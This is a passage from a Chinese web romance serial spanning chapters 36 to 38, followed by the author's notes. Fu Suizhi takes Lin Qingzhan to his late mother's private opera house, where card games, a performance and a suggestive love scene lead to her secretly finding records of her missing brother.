灰暗中,傅随之眼神深了几分,抓住她的手掌与她十指紧扣住,眼神渐渐迷上雾气。 落地窗外,烟花再次冲上夜空,瞬间炸开,绚烂夺目。 林青盏仰起头,傅随之随即压过来,抓住她的手掌,摁在她胸膛那颗心脏上,他已经气息不稳,“现在知道了?” 他所准备的一切,都是要告诉她他的钟意。 而她甘愿承下这一切。 他们一同沦陷在这旖旎的夜- 海城的事情很快传回浮城,之前有些没拿林青盏当回事的,现下开始犯糊涂了。 不是说林青盏只是傅随之养在身边的笼中雀,就是用来逗趣的么? 可傅随之竟然会为了林青盏,前去海城为她撑腰,还为她教训李若曦,将给宴乐门的投资都撤走,导致宴乐门现在就剩下一个空壳,估计往后就要逐渐败落。 林青盏并不在意这些事情,依旧每天去望月台上班,闲暇的时候,总跟着傅随之四处参加宴会和活动,去的最多的就是拍卖会。 到了后来,傅随之忙起来没空陪她,干脆让秦楠定期将拍卖会的册子送过来,让她自己挑喜欢的去拍,定完自会有人送过来。 林青盏因此收罗了好些宝物,也给纪老送了些许过去,纯粹为了哄老人家开心的。 这天,林青盏下班后照旧往外走,看到接送她的专车,没多想就走了过去。 秦楠打开车门,她才看到坐在里面的傅随之,疑惑:“你怎么来了?” 傅随之看她一眼,“带你去个地方。” 这些时日,傅随之完全不避讳,出席活动和晚宴都会带着她这位女伴,林青盏逐渐习惯站在傅随之的身边,以为今晚也是如此。 没想到,傅随之带她去的是游园惊梦。 之前她总想着找机会过来,也让人私底下查过棠严峻,结果不理想。 调查的人只传来消息,说棠严峻早年金融系毕业后,就进入傅氏集团,在傅清庭身边做事,对傅清庭和棠傛极为忠诚。 傅清庭去世后,是棠严峻跟在棠傛身边鞍前马后,棠傛去世后,他始终在傅随之身边跟着,可以说是傅随之的心腹。 这人办事极为小心,没有暴露任何爱好,甚至于压根抓不住把柄。 结果可见,要想从棠严峻下手不简单,所以林青盏一直计划着找时机去一趟游园惊梦。 只是没想到,她还未有什么安排,傅随之便带着她过来了。 游园惊梦是傅清庭专门为棠傛设立的一座私人戏楼。 棠傛跟傅清庭结婚后,渐渐地就从宴乐门退出,不再上台表演,只是她学习戏曲多年,终归是有些表演瘾在的,傅清庭就斥巨资,让人建造了游园惊梦这座院子。 院子是典型的古风大宅建筑风格,以棕色大门为隔,外面是现代世界,里面则是古风古韵的豪宅内置。 进门要走一段很长的柳枝飘絮长廊,再经过三道门,在孔雀的叫声中走入主楼,才可见到戏楼最里面的模样。 里面倒是和望月楼的戏楼没什么区别,以红色地毯铺展开,一路往前蔓延到一米高的戏台,戏台上还挂着棠傛年轻时候的戏曲表演照片。 精致的脸庞,明亮的桃花眼,捏着的手帕拂在鬓角,含情脉脉望着进来的每一个人,这模样叫林青盏看着都心动。 之前好些人说她和棠傛夫人像,林青盏并未有什么感觉,但此刻看着面前高挂着的照片,林青盏心底是极为震惊的。 傅随之回眸,见她驻足望着母亲的照片,抓住她的手掌,将人往二楼带。 当初傅清庭建造游园惊梦,是为让棠傛能有个地方随时想唱曲就能唱,后来渐渐地演变成每个月二十五会有一场演出。 棠傛去世后,这个规定被棠严峻传承下来。 他花了大价钱培养了团队,每月二十五号会在游园惊梦演出,演出并不对外售票,只接受排队预约,园里还会有专人安排,并不是什么人都能进来。 今天正是二十五号。 傅随之约了浮梦今安其他几位过来吃饭听曲。 他们几个已经到了,在包厢里开了酒微醺。 纪时礼这几日因为家里的舒姑娘,情绪不好,这会儿正拉着顾宴迟,说想让顾宴迟给他好好看看手相,想找法子化解霉运。 今日难得唐郁南有空,唐郁东带着她出门来玩,只是一来,唐郁南就跑去徐泽也旁边坐着,一口一个“泽也哥”叫得亲热,还让徐泽也给她掰石榴吃。 徐泽也宠她,她要什么就给她什么。 唐郁东看不下去,一双凶狠眼眸不屑落在徐泽也身上,没忍住问:“你是不是有受虐倾向?整日里被她使唤来使唤去的,改天把她宠坏了嫁不出去。” 唐郁南伸手往他肩膀揍了一拳,“哥,你能不能好好说话!我怎么可能嫁不出去,我多的是人追求。” 徐泽也看了唐郁南一眼,神色不明,最终还是什么都没说,随意开口将话题移到傅随之身上。 “要论宠人,还是傅三厉害。最近城中满是他的消息。” 纪时礼躺在顾宴迟腿上,原本一副颓靡的姿态,听到这儿,终于提起点精神,“就傅三那做的事儿,别人不传才怪。” 这阵子,傅随之真的是恨不得将林青盏拴在身上,去哪儿都将人带在身边。 若是换了其他人,身边带着女人倒是不足为奇,可那是傅随之。 堂堂傅三爷清冷惯了,身边从未有过女人的身影,自从将林青盏留在身边后,就一改以往的态度,高调得让人震惊。 坊间还有传闻说,林青盏懂得什么魅术吧,不然怎么能让傅三爷如此对待。 别说外人震惊,他们兄弟几个也很诧异。 唐郁东点燃一根烟叼在嘴边,“傅三这么高调,傅家那边不可能不知道。” 纪时礼:“大哥你就不用替那疯子担心了。我看他压根不怕傅家那边知道,而且三哥做事比老二还周全,想必已经让人盯着了。” 顾宴迟却笑:“这事儿说不好。若是以往三哥的办事风格,必然万无一失。但我发现他在林小姐的事情上,容易犯糊涂。” 纪时礼:“说的倒是。之前也不知道是谁说的,就想看看人家姑娘存得什么心思,看着看着就把人睡了。” 顾宴迟敲他脑袋,“有些话可说,有些话不可说。” “好吧。”纪时礼瘪嘴。 烟雾缭绕里,唐郁东对徐泽也挑了挑眉,“你让人去看着点,傅家那边有什么举动,傅三顾及不了,就往他那边送消息去。” “好。” 外头,林青盏挽着傅随之的手臂往楼上走,目光随意扫过面前所见。 这戏楼和望月台的布置差不多,一楼摆放着观众椅,二楼是专门设计的观看包厢,有着各种布置的座椅,相同之处是靠近舞台这边都是镂空的,摆放着一列的椅子,做成观看区。 往上还有三楼,但三楼黑乎乎一片,压根看不清楚。 林青盏收回 视线,转而看向一旁的傅随之,“之前我就听说过这个地方。” 傅随之挑了挑眉。 “城里有着这么一座游园,每个月只表演一场,入场券还不是谁都能拿到,如此神秘,像是戏曲界的海市蜃楼般。” 林青盏对上傅随之的眼眸,笑着说:“我一直很好奇,还想着能不能有机会过来瞧一瞧,没想今天真的来了。” 傅随之搂住她的肩膀,“真这么好奇?” “句句属实。”林青盏莞尔一笑,“我还听说,三爷养着的戏曲团队,各个都是顶尖的好嗓子。我很好奇,这些人都是哪里挖来的?” “在戏曲学院相中,一路培养。”傅随之简单解释一句,“这些都是棠严峻在弄。” 两人刚好走到二楼,棠严峻迎面走过来。 傅随之逮着人给林青盏做了介绍,“棠严峻,我表叔。游园里的事情大大小小都是他在弄。” 林青盏恭敬欠身,“棠先生。” 棠严峻长相和棠傛相似度不高,只是身上的那股温柔气息和棠傛一模一样。 他笑容温和地看着她,“林小姐,久仰大名。之前我也去望月台看过林小姐几场大戏,演绎都很灵动。《牡丹亭》演绎得尤其好。“ "棠先生谬赞。” 棠严峻还是笑,眉眼弯弯的,很有翩翩公子的气度。 “大门要开了,我先去准备准备。” 傅随之点了头,棠严峻这才跟他们擦身而过,走上三楼。 和楼下的灯光辉煌不同,三楼只亮着一盏暖橙色的灯,略显神秘。 棠严峻纤瘦身影没入暖橙色的光晕下,随之什么都看不到了。 林青盏只看了眼,很快收回视线,跟着傅随之走进包厢。 这段时间,林青盏没少见这几位爷,上周还在牌桌上切磋过,已经没有了初次见面的生疏。 看到他们走进来,躺在顾宴迟腿上的纪时礼开玩笑,“我现在一看到林小姐,就感觉后背发凉。“ 顾宴迟:“你这是预感到今晚自己又要输得裤衩都不剩?” 纪时礼冷笑,“你还有脸说我?输得最多的人是你!” 顾宴迟苦恼:“所以我很想问一句,林小姐这新手保护阶段,还得持续到什么时候?再输下去,我偷藏着的聘礼都得输光了。” 顾宴迟和顾蝉的关系,家里人还不知道。 之前顾宴迟为了逗顾蝉开心,说努力赚钱都是为了偷存聘礼,以后好将顾蝉光明正大娶进门。 顾宴迟连这话都说出来了,林青盏赶忙接话:“不然今晚还是三爷来吧。” 一听这话,纪时礼豁然坐起身。 “姑奶奶,我错了。是我多嘴了。求你还是别把傅三那疯子放出来,到时候别说裤衩子,我头发都得让他薅光了。” 第37章 纪时礼顶着一头天然卷发,肤色白皙,像极了法国绅士贵族王子,但他的性格和他的外表一点都不相符,反倒透着一股潇洒自由的狂野和傲然。 他什么话都敢说,说话的表情极为夸张,轻易将林青盏逗笑了。 傅随之坐到她身旁,手里端着透明的玻璃酒杯,随意喝了一口,睥睨着纪时礼,“你以为我爱跟你打?” “不爱就不爱呗。我又不是林小姐,还得稀罕你的爱啊?” 纪时礼喜欢打趣人,林青盏听了这么多次,还是有些不习惯,干脆装没听见,只顾着低头看桌面上有什么是能吃的。 傅随之手臂搭在她肩膀,怼了纪时礼两句,转而看向一旁的秦楠,低声交代他去安排。 秦楠识趣,转身出去,不一会儿就让人端着饭食进来,摆放在角落的餐桌上。 傅随之凑过来在林青盏耳边说话,手掌扶着她后腰推了下,让她去吃点东西。 平日里林青盏都是回海棠湾吃饭,今天下班就被他带过来,这会儿肚子空空的。 她没有扭捏,站起身走到餐桌坐下,看到面前摆放着的美味佳肴,轻轻拿起筷子。 小时候刚到望月台,白云带着她练习体态,总是让她腰杆要直,抬头挺胸,却从未有趾高气昂的姿态。 她五官长得精致,垂眸和抬眸间,尽显柔情和典雅,纯净桃花眼眨呀眨又透着一股蝴蝶般的灵动。 白云总是夸她,天生的好苗子,一张脸做什么表情都是讨喜的。 白云也说,她这人自律从不懈怠,总是严格要求自己,久而久之,她站有站姿,坐有坐姿,用餐礼仪也比其他人优雅许多。 傅随之和纪时礼闲聊几句,转过身看到的是这样的场景:穿着新中式半袖藕粉衫的女人坐于黑色餐桌前,纤细手掌捏着筷子,姿态优雅用餐。 她做什么都是悄无声息的,此刻也是,安静咀嚼,连一丁点声音都没发出,可还是轻易吸引了傅随之的目光。 纪时礼在叫嚷着要开始打牌了,其他几个一向配合,唐郁东和顾宴迟往牌桌方向走,徐泽也推着唐郁南让她上。 傅随之站起身,跟徐泽也交代一声,让他先替自己,输了算他的赢了算徐泽也的,徐泽也随着他的目光看向不远处的林青盏,笑着答应下来。 林青盏刚往嘴里夹了块酥脆的排骨,抬眸就看到傅随之朝着她走来,纤细指尖捂着嘴巴,纯洁眼眸眨了眨望向他。 傅随之双手撑在黑色桌面,弯腰与她相望,神色淡淡,林青盏以为他是来催促的,赶忙说:“我很快吃好。” “不急。” 他举手,指腹贴着她嘴角蹭了蹭,眼底的情绪略有翻涌,片刻又被压下去。 她不明所以跟着压了压嘴角,“沾到了吗?” “嗯。” 他干脆在她对面坐下,手臂随意搭在桌面,姿态矜贵。 林青盏看他一眼,心底想着要在这里找到哥哥的消息,思绪有点懵,好一会儿才问道:“你有吃过了吗?” 傅随之摇头。 下午有场国际会议,进行到五点半结束,他赶着过来接人,压根没时间吃饭。 林青盏蹙眉,“不吃饭不好。” 傅随之抬眸,看着她的时候,依旧是那副没什么情绪的模样。 “望月台里一日三餐都是有时间限制的,我倒是习惯了一日三餐都要按时吃。” “挺好。” 他忙起来恨不得一天有四十八个小时,更别提按时吃饭了。 他不甚在意,对面的林青盏却很不赞同,“你还是要按时吃饭的好,不然以后容易胃病。” 她夹了块酥排骨递到他嘴边,“要尝尝这个吗?很香很好吃的。” 傅随之垂眸,没动。 “要不让他们给你拿副碗筷吧。” 林青盏以为他有洁癖不爱与人共食,刚想将筷子收回,却被傅随之抓住手腕,拉着她往前送到他嘴边。 傅随之将排骨咬住,慢慢咀嚼,“还不错。” “那你还吃吗?” “好。” 林青盏也不知道怎么的,最后演变成她一筷子一筷子往傅随之嘴里送,他当真吃了大半的菜。 秦楠过来收盘子的时候,看到林青盏捏着纸巾压了压傅随之的嘴角为他擦拭干净,心底再次感慨,果 然英雄难过美人关,他们傅三爷也一样的。 只是有点辣眼睛! 林青盏脸皮薄,没傅随之那么气定神闲风轻云淡,站起身躲开瞩目:“我去趟洗手间,很快回来。” 傅随之点了点头。 游园这边的布置看着跟望月台差不多,但其实仔细瞧着,所用的都高档有格调许多,毕竟是傅三爷的场子,角落里随意摆放着的都是清朝花瓶。 二楼走廊里的木围栏雕刻着百鸟朝凤图案,头顶挂着走马灯,每间包厢都很宽敞,以木门隔间,上面挂着房号。 林青盏走出包厢,回眸看了眼,她们所在的是云韶阁,一眼望过去还有醉春阁、霓裳阁,都是雅致的地方。 洗手间在走廊尽头,林青盏去而复返,在云韶阁边上站着,转身望向三楼的方向。 二楼往三楼的楼梯口以栅栏锁着,还挂着“止步”的牌子,说明三楼只有内部人员甚至是管事的才能上去。 林青盏鬼使神差往楼梯口走去,手掌搭在那栅栏轻轻一拉,竟将那栅栏拉开了。 她心底突然发紧,像是有什么操控了她的身体,让她不自觉就想将那栅栏打开往三楼而去。 这时,身后突然传来低沉一声,“林小姐。” 这声音平稳清和,却让林青盏心脏猛得跳动,有种被人当场抓获的慌张感。 她单薄手掌紧紧抓住栅栏,过于用力手背腾起青色脉络,忍了许久,她才平静下来,转过身。 看到的不是傅随之的人,却是之前仅有一面之缘的林博蘅。 看到是他,林青盏心底那颗差点跳出来的心总算是安然归位。 上次在拍卖会碰上,傅随之随口跟她说起过,林家原是浮城不入流的家族,七年前林博蘅上位后,跟马来西亚富商往来甚密,加大了海外投资,这几年林氏集团发展才好了许多。 林博蘅从来都是翩翩公子的姿态,在浮城里名声很好。 面前的男人身穿白色西装,风光霁月的姿态走到她面前,笑容和煦:“林小姐,好久不见。” 林青盏点头,“林先生。” 林博蘅转头看了眼三楼,再看向林青盏,露出和煦笑容。 “早前就听说过林小姐嗓音一绝,在望月台看过几场戏,深感这评价没有半分掺假。我很喜欢戏曲,之前一直没机会认识林小姐,倒是没想到最近连续两次偶遇。” 在望月台这么久,见过许多人说场面话,林青盏没在意,点头谢过林博蘅夸赞,还邀请他可到望月台听曲,“下次来,我做东宴请林先生。” 林博蘅笑容犹如暖阳,“林小姐说这话是真心是假意?我可是会当真,真会去望月台蹭好位置的。” “自然是真心的。林先生有空就来。” 林博蘅笑着答应下来,再抬头时眼神深了几分,“有句话说出来或许冒昧,不过还是提醒姑娘一句,好奇害死猫,有些事不要过于探究,顺其自然或许柳暗花明。” 说罢,他点了点头告辞。 林青盏站在原地,眉宇紧促。 有些事不要过于探究,顺其自然或许柳暗花明? 这话怎么感觉很有深意。 他是什么意思? 难道是看到她尝试要去三楼,在提醒她不要冒险? 在门外耽搁许久,林青盏没空多思考,转身往云韶阁走去。 在她身影消失的同时,三楼圆柱子后面现出两人的身影。 是傅随之和棠严峻。 傅随之一身黑色衬衫,脸庞半隐匿在灰暗中,神色清冷,眼眸里的犀利阴狠怎么都抑制不住。 棠严峻斯文书生的模样,眼底的情绪反倒是看不出什么。 “既然你知道她在找哥哥,为何不直接告诉她?” 傅随之让人去海城调查过林青盏,她的身世资料一清二楚。 当时他们在海边礁石上聊天,林青盏也坦诚交代她的事情,说她一定要找到哥哥,就算是一个他已亡的消息也好,至少能让她死心。 但她没有说清她的父亲是谁,傅随之其实现在分不清是她故意隐瞒,还是有另外的打算,但她没有提,他也没有拆穿。 他不仅不打算拆穿,他想给她一个结果,得到这个结果,她终归能安心点。 至于林解是不是还活着,人到底在哪里? 傅随之其实不在意。 “东西准备好了?” 棠严峻点头,“准备好了。只要林小姐打开就能看到。” “行。去忙你的吧。” 棠严峻看着傅随之侧脸,犹豫片刻,还是什么都没说。 游园惊梦的戏曲晚间七点准时开场,傍晚五点半会开门让客人进场,这中间客人都是需要招待的,还得去后台确认戏班子准备情况,每当这天,棠严峻都很忙碌。 他转身下了楼,去安排今晚表演的事情。 傅随之站在三楼灰暗中,抽出一根烟点燃在修长指尖,他举起手指贴着脸颊猛吸了两口,神色不太爽。 他知道林青盏跟慕觞淙、傅鸿源他们确实没什么牵扯,可这么久下来,林青盏还是不信他,或者说怕他。 有事情她想到的不是告诉他让他帮忙找人,却是用她自己的笨办法一直想去追寻个结果。 他莫名对此很不悦。 定制烟在他指尖燃烧过半,傅随之情绪镇定片刻,刚想转身下楼,忽然看到二楼走过一陌生面孔。 那男人也戴着金丝眼镜,神色清冷。 跟傅随之那谁都别来沾边的冷漠相比,男人身上的清冷是带着股刻板的,像是古代画卷走出来的古人似的。 许是察觉到傅随之的打量,那男人抬头望着傅随之的方向,与他四目相对,丝毫不惧。 几十秒后,男人收回视线,转身继续往前走。 傅随之眼神幽暗,转身对始终安静站在墙边的傅慎说,“去查一查那人谁?” 傅慎点头去打了电话。 不过三分钟,傅慎去而复返,站在傅随之身后禀报,“那人叫贺兰承,马来西亚首富贺家的人。贺家风流成性,说是有十几个儿子,这位据说是在外面养到十四岁才带回家。一开始谁都没把这人当回事,没想到最后这人最受贺老看重,这几年接手了家族里大部分事业。” 听完后,傅随之没什么表情,挥了挥手,指尖的烟雾环绕- 林青盏走进云韶阁,没看到傅随之,是顾宴迟解释:“说是有个工作电话,估计没那么快,要不林小姐先开始。” 她没有拒绝,走过去在牌桌前坐下,顶替了原本徐泽也的位置,刚好和唐郁南排排坐。 自从那次唐郁南为她解了围,林青盏对唐郁南印象很好。 有时候顾蝉在浮城的时候,还会搭线,叫唐郁南和林青盏出去逛逛街做美容,他们私底下见过几次,聊得算不错,已经是很好的朋友。 有唐郁南在场,林青盏半点不尴尬,将思绪集中在手里的牌上。 今天没打□□,玩的是斗地主,六七局过去,她每局都赢。 纪时礼今天也小赢,都是唐郁东和顾宴迟在输,他就有点嘚瑟起来,手掌搭在顾宴迟肩膀拍了拍,“老四,我说什么来着,林小姐在场,你必然输掉裤衩子。” 顾宴迟扶额,“有一个娜娜还不够,再来林小姐——” 唐郁南小名“娜娜”,他们几个看着她长大的,就跟自己妹妹一样,平日里都很亲近。 顾宴迟看着唐郁南,“娜娜,我的大小姐,你平日里看着笨笨的,怎么一上牌桌这么厉害?” 唐郁南却不买账,“宴迟哥,你演技这么好,要不要我给你介绍经纪人干脆进演艺圈当演员算了。再不济去当个男模,肯定也很好赚。你这老婆本存起来就简单多了。” 顾宴迟被她这么呛声,完全没当回事,“娜娜人脉就是广,娱乐圈里也有人。” 唐郁东倒是严肃许多,一张脸凶得很,往唐郁南额头弹了弹,“没大没小。给你喂牌喂了一整晚,怎么还给你搞出个不爽来了?” “我哪里不爽了,有人上赶着给送钱,我爽得很。” 这话一出,唐郁东神色都沉了下来,“女孩子家家好好说话。” 唐郁南瘪嘴。 反倒是旁边的徐泽也对唐郁南极其维护,“行了,你别老是说她。我今天好不容易把人带出来逗开心了,你一两句话又要给她弄生气。到头来,还得我哄。” 唐郁南对唐郁东吐了吐舌头,“我看我以后认泽也哥当亲哥好了。” “爱认就赶紧去。” 唐郁东一脸凶 相,林青盏平日里看着他还有些害怕,倒是没想到唐郁南半点不怕他,还敢反嘴。 不过也就是兄妹之间逗来逗去的。 过了会儿,唐郁南才收敛了脾气,转而对林青盏解释,“小盏别介意啊,我平日里跟他们都这么说话。” 林青盏笑着摇了摇头,表示没什么。 唐郁南:“林小姐你很单纯,必然是被他们骗了吧。” “啊?” “什么新手保护期,都是他们逗人的。他们几个都是智商一百八的人,下过什么牌都倒背如流,怎么可能让一个新手赢了去。” 林青盏恍然大悟。 所以这几个人是给傅随之面子让着她? 下一秒,林青盏豁然笑出声,“原来如此。我就说我在高手云集里能如此侥幸获胜,原来是各位大佬承让。” 这话一出,就连对面的唐郁东都抬眸看向她。 让牌这事儿,其实算是他们这不成文的规矩。 他们兄弟五个从小一起长大,性情或凶狠或偏执或孤僻,总结一句就是基本没怎么带人过来玩。 之前也就是顾宴迟带着顾蝉过来,还有一个唐郁南,他们兄弟几个给面子,她们谁来了都会让牌,就是逗两个小女生开心罢了。 严格算起来,林青盏是第一个“外来”的女人。 他们知道傅随之对她的看重,一视同仁,不过跟对待顾蝉和唐郁南不一样,他们多少带着点客气。 若是其他女人,面对众人如此,或惶恐或得意,偏偏林青盏压根没当回事似的落落大方,倒是让他们高看了些。 林青盏自小在望月台这种鱼龙混珠的地方长大,自然能够感受到其他人的目光,她笑得纯真,“娜娜有句话说得不假,送上来的钱,不赚白不赚。” 说罢,她将手里的两张牌放下,“王炸。” 赢了。 她跟对面的纪时礼是一派,看到她双手空了,纪时礼嘴都要咧到耳廓,“啧啧,林小姐就是林小姐!今天跟着你有肉吃。” 林青盏莞尔一笑。 纪时礼举手要跟她击掌,林青盏犹豫了下,身后突然伸来修长手臂,将纪时礼摁了回去。 是傅随之。 林青盏抬眸望着傅随之清冷的脸庞,等他拉了凳子紧挨着她坐下后,身体往他那边凑过去,在他耳边说:“我赢了噢。” 声音轻飘飘的,带着一点甜,像是沾了泉水的柳枝拂过他耳廓,傅随之阴沉眼眸深处有涟漪扫过。 他举起手掌,搭在她脑袋揉了揉,“真厉害。” 对面的纪时礼做了个“呕”的夸张表情,“秀恩爱死得快。” 顾宴迟踢了踢他,“你快闭嘴吧你。” 牌局进行了一个小时,楼下开始敲锣开场,所有人转移到包厢前面的座位,等着戏开场。 林青盏坐在傅随之旁边,手掌捧着一盘蜜饯,缓慢吃着,过了会儿突然想起来,捏了块递到傅随之嘴边。 傅随之抬眸看她,摇了摇头。 他从来不吃这些。 林青盏吃了几个,觉得甜腻,纤细指尖捏着茶杯,饮了口茶。 这时,楼下舞台锣鼓喧天,有个穿着粉色长袖戏袍的花旦走上舞台开了腔。 林青盏垂眸望着她灵动的神色,笑着问旁边的傅随之,“这就是林冉?” 傅随之不甚在意“嗯”了声。 “我没见过她,只在交流会上听单老师放她的唱曲片段,林冉声音很美,像夜莺似的。” 傅随之歪了下头,在她耳边说,“我就听过一只夜莺叫。” “嗯?” 他低笑了声,声音带着蛊惑,“晚上还叫?” “……” 她总算是听懂了,这人在挑逗她? 这个男人坏的时候是真坏! “跟你说你园子里的人呢。” 游园里的事物都是棠严峻在负责,他很少过问这些,只知道有这么个人。 林青盏疑惑,“你平日里来游园,不听曲的?” “游园里除了二十五日会开台,其他时候都会放我母亲的过往表演,我只看那些。” 林青盏了然。 就是他目中无人的意思,能让他费神听曲儿的,只能是他母亲。 戏曲开腔,一场《桃花扇》林冉演绎得几近完美,林青盏仔细看着,好几次心底震动。 反观旁边的傅随之手掌托腮,难得没有平日里的端方姿态,显得有些慵懒疲乏。 结束后,林青盏看向他,不忍问,“是累了吗?” “有点。” “那我们回去了?” 林青盏站起身,却被他抓住手腕,“等会儿。” 其他人纷纷起身,纪时礼问,“接下来呢,牌还打吗?” 今天他们几个是被傅随之叫过来的,自然看向他,傅随之摇头,“十二点差不多了。” 唐郁东率先表态,“那都散了吧。” 众人作鸟兽散。 包厢里瞬间空荡荡,只剩下他们两人,林青盏又拉了拉他的手,“走了。回去睡觉。” 傅随之扶着她的腰,将人往他这边勾过来,让她跨坐在他腿上,“困。” 这段时间洛杉矶那边有个项目,他一直在跟进,这两天才闲下来点,今天又开了一天的会儿,下班后紧接着往这边赶。 闲坐了四个小时,听着曲儿,旁边就是她这软糯芬香,他过于放松,现在反倒是不想动了。 傅随之将脸埋在她颈窝,林青盏没敢动,好一会儿后,转身看他,柔软嘴唇无意从他脸颊擦过,像是火种被丢进沉寂的火山,瞬间让火山爆炸,岩浆似的情绪翻涌而来。 她的腰被狠狠掐住,炙热从掌心蔓延到胸口,她眨了眨眼睛,抬头想跟他说话,却被他凑过来的嘴唇堵住。 他在狠狠吻着她,粉色裙摆被撩起,他不管不顾地去摸。 林青盏受不住他这强势的进攻,抓住他的粗犷手腕,想要让他停下来,但他怎么可能会。 他的手指突然勾住,惹得她冷颤了下。 她抓住他的头发,“不要在这里。”—— 作者有话说:上一章忘记写的小剧场 纪时礼给傅随之打电话一直没接,只能打给秦楠。 纪时礼:傅三呢? 秦楠忍了又忍,突出两个字:看海。 纪时礼:傅三最近在投资海域的项目? 秦楠叹气:不是。他只是在谈恋爱。 纪时礼:什么玩意?!他脑壳是坏掉了啊! 全世界都成双成对,就纪时礼还在搞暗恋。 只有老幺受伤的世界达成!- 专栏相关文: 唐郁南X徐泽也——《藏匿情深》 顾蝉X顾宴迟——《纵你深陷》 唐郁东X秦馥嫣——《偏惹浓情》(已完结) 纪时礼X舒蝶——《荒唐心动》 裴南枝(傅于然)X顾北忱——《吻南枝》》(已完结) 相关二代文: 傅辞兮(傅随之儿子)X慕倾予(慕觞淙女儿)——《无可救药》 傅盼兮(傅随之女儿)X顾子槐(顾宴迟儿子)——《非分之想》 傅青瓷(傅于然女儿)X唐徊谌(唐郁东儿子)——《肆无忌惮》(下本开这个) 顾青策(傅于然儿子)X林雾里(普通人)——《深陷纯情》 顾子玥(顾宴迟女儿)X纪闻汌(纪时礼儿子)——《天作之合》 唐妗羡(唐郁东女儿)X慕白——《倾慕》 目前开的预收有这些,感觉我要写很久了,所以暂时不开其他的,各位小富婆看到喜欢的就收藏下,我是根据哪本收藏好能上榜我就写先写哪本。 接下来的计划是,本文完结紧接着存稿《肆无忌惮》,写完了要开个新系列港风的,下下本先写《有港诱甜》。 想写的文很多,计划表里的比专栏多多了,但我时速很慢,三次元超级忙,每天上班都跟打战一样,所以只能晚上抽空写。 开文速度不能保证,但连载期更新肯定要保证的。 求多多收藏预收文和专栏! [红心][红心][红心][红心][红心][红心][红心][红心][红心][红心] 第38章 她的声音带着冷颤,像极了风雨中的小猫,傅随之听得心尖发痒,慢慢停下动作。 他抬起头,眼眸深处的浓郁情绪像是雾气般散开,抓住她的手腕,为她将裙摆散下来,打横抱起就往外走。 林青盏双手环住他的肩膀,原以为是要下楼离开,没想到傅随之竟带着她往三楼走去! 她惊诧抬眸,“我们不回去?” 傅随之望着她一言不发,抱着人走进三楼走廊尽头的房间。 古木房门推开后,林青盏看到里面的布置偏中古风,木椅沙发和办公桌,以及木质大床。 傅随之将人放在床上,跪在她身体两侧,抬头将自己身上的黑色衬衫扯下来,露出胸膛那两朵艳丽的海棠花刺青。 林青盏目光扫过,还没来得及开口说话,傅随之捏着她的下巴吻了下来。 一切都让林青盏很是意外,却也惊喜。 费尽心思想上三楼,没想他直接把她带上来了。 她纤细指尖抓住他肩膀,指甲都要抠进他的肌肤里,傅随之并不感觉痛,只有一阵阵高涨的情绪犹如海浪似的翻涌而来。 林青盏咬唇望入他那迷离眼眸,第一次主动地凑过去咬住他的唇,舌尖灵活往里面窜。 她的主动太过明显,带着讨好的意味,傅随之沉着眼神往后退了些许,她就追上来,纤细手掌抓住他的手指,抬眸去找他的嘴唇,温柔亲吻。 像是荒芜的草地上,随意丢下的火苗,瞬间燃烧了整片荒漠。 傅随之抓住她的脖子将人拉开,犀利眼眸死死盯着她,下一秒,又开始暴烈热吻她。 林青盏有心要取悦他,完全随着他。 不过半个小时,林青盏就后悔了。 为什么要去招惹他?! 这就是个不知节制的可怕男人! 她被他转过身,他壮硕的手臂环着他的腰,将人往自己这边拽过来。 她沉重呼吸。 傅随之低笑着捏住她的脸颊,嘴唇沿着脸蛋蹭了蹭,“今天很高兴?” 林青盏咬住嘴唇:“我才没有。” 傅随之不在意她的反驳,轻轻地,慢慢地,难得有耐心。 “你知道游园是我父亲留下的产业,三楼原是我母亲休息的地方。” 林青盏感觉很难耐,可他却突然来了兴致与她闲聊起他的事情,她不明所以回头看他。 傅随之凑过来吻了吻她的唇,“我母亲是个看似温柔却很执拗的女人,她以为爱情是最美好的东西,她追求至死不渝的感情,曾让我父亲在这里发过誓,如果他背叛她,此生再遇不到真心对他的人。” 房间里极为寂静,只有他贴在耳廓说出的这些话,一下下敲打着她的心脏,让她骤然缩紧。 傅随之闷哼一声,捏着她的下巴迫使她抬眸,他望着她的眼睛:“我父亲当时说的话是,绝不背叛。” 她眼眸亮起。 当初她走投无路去找他的时候,也和他说过这句话。所以他是因为这个,才会答应养着她这只笼中雀? 傅随之含住她的耳朵,“记住你说的话。” 不知为何,林青盏觉得此刻的傅随之好似有着玻璃般脆弱的情绪。 她紧紧抓住他的手臂,“三哥,此生绝不背叛。” 傅随之沉默着望着她,片刻后,突然跟发疯似的用领带将她双手捆绑住,手掌沿着弧线摁住她的腰,开始用力,沉醉地昂起头。 林青盏咬住唇:“嗯——” 结束已是凌晨三点,林青盏双手被傅随之用领带捆绑着,整个人依偎在他怀里。 她抬眸,望着傅随之沉睡的脸庞,稍微动了下,缓了片刻才坐起身来,确认傅随之真的睡着了,她才低头自己将手腕缠绕着的领带咬开。 在做.爱这件事上,傅随之一向不温柔,发起狠来,连她求饶都无动于衷。 林青盏感觉腰都快断了,纤细手掌揉了揉,悄悄往门外走去。 刚刚她试探过傅随之,知道书房就在隔壁。 她打开书房的门,走到书柜前看了看,翻找许久,才在最底层柜子里找到了孤儿院孤儿资助和安排的记录册。 这些年傅随之一直在找妹妹傅于然,排查的时候,会带回来很多女孩,也有因为孤儿院实在太穷,顺带带回来一批批的男孩。 傅随之会让棠严峻为他们安排好去处。 这些事情,棠严峻都做了详细记录。 林青盏翻出记录册看了看,很快发现记录是按照名字先后顺序填写的。 她翻阅到“L”那页,纤细指尖贴着名字,一个个往下看,当真让她找到了“林解”的名字,名字后面对应的去处是马来西亚。 后面备注了两个人的名字,以及“收养”两个字。 所以,哥哥是被马来西亚的夫妻收养了? 林青盏舒了口气。 将这一页资料拍照下来,随后,她将资料重新归位。 她原路返回,重新躺下,倚靠在傅随之怀里,贴着嘴唇的手指忍不住颤抖。 她努力让自己平静下来,慢慢闭上眼睛。 从始至终,她没有发现,傅随之垂眸正看着她,神色不明。 这二十几年,林青盏一直生活在望月台这古井之中,接触过来来往往的人,最熟悉的顾蝉是顾家大小姐,但恐怕也没办法将手伸到马来西亚帮她找人。 她更不可能找傅随之,如果傅随之知道她前面做的那些事,恐怕会觉得她一开始的靠近都是有利所图。 傅随之这人看似随性,其实非常不喜欢别人脱离他的掌控,更不喜欢有人暗藏心思算计他。 这也是她不敢和他明说,让他帮忙找哥哥的原因。 身边的人都不行,林青盏只能另想办法。 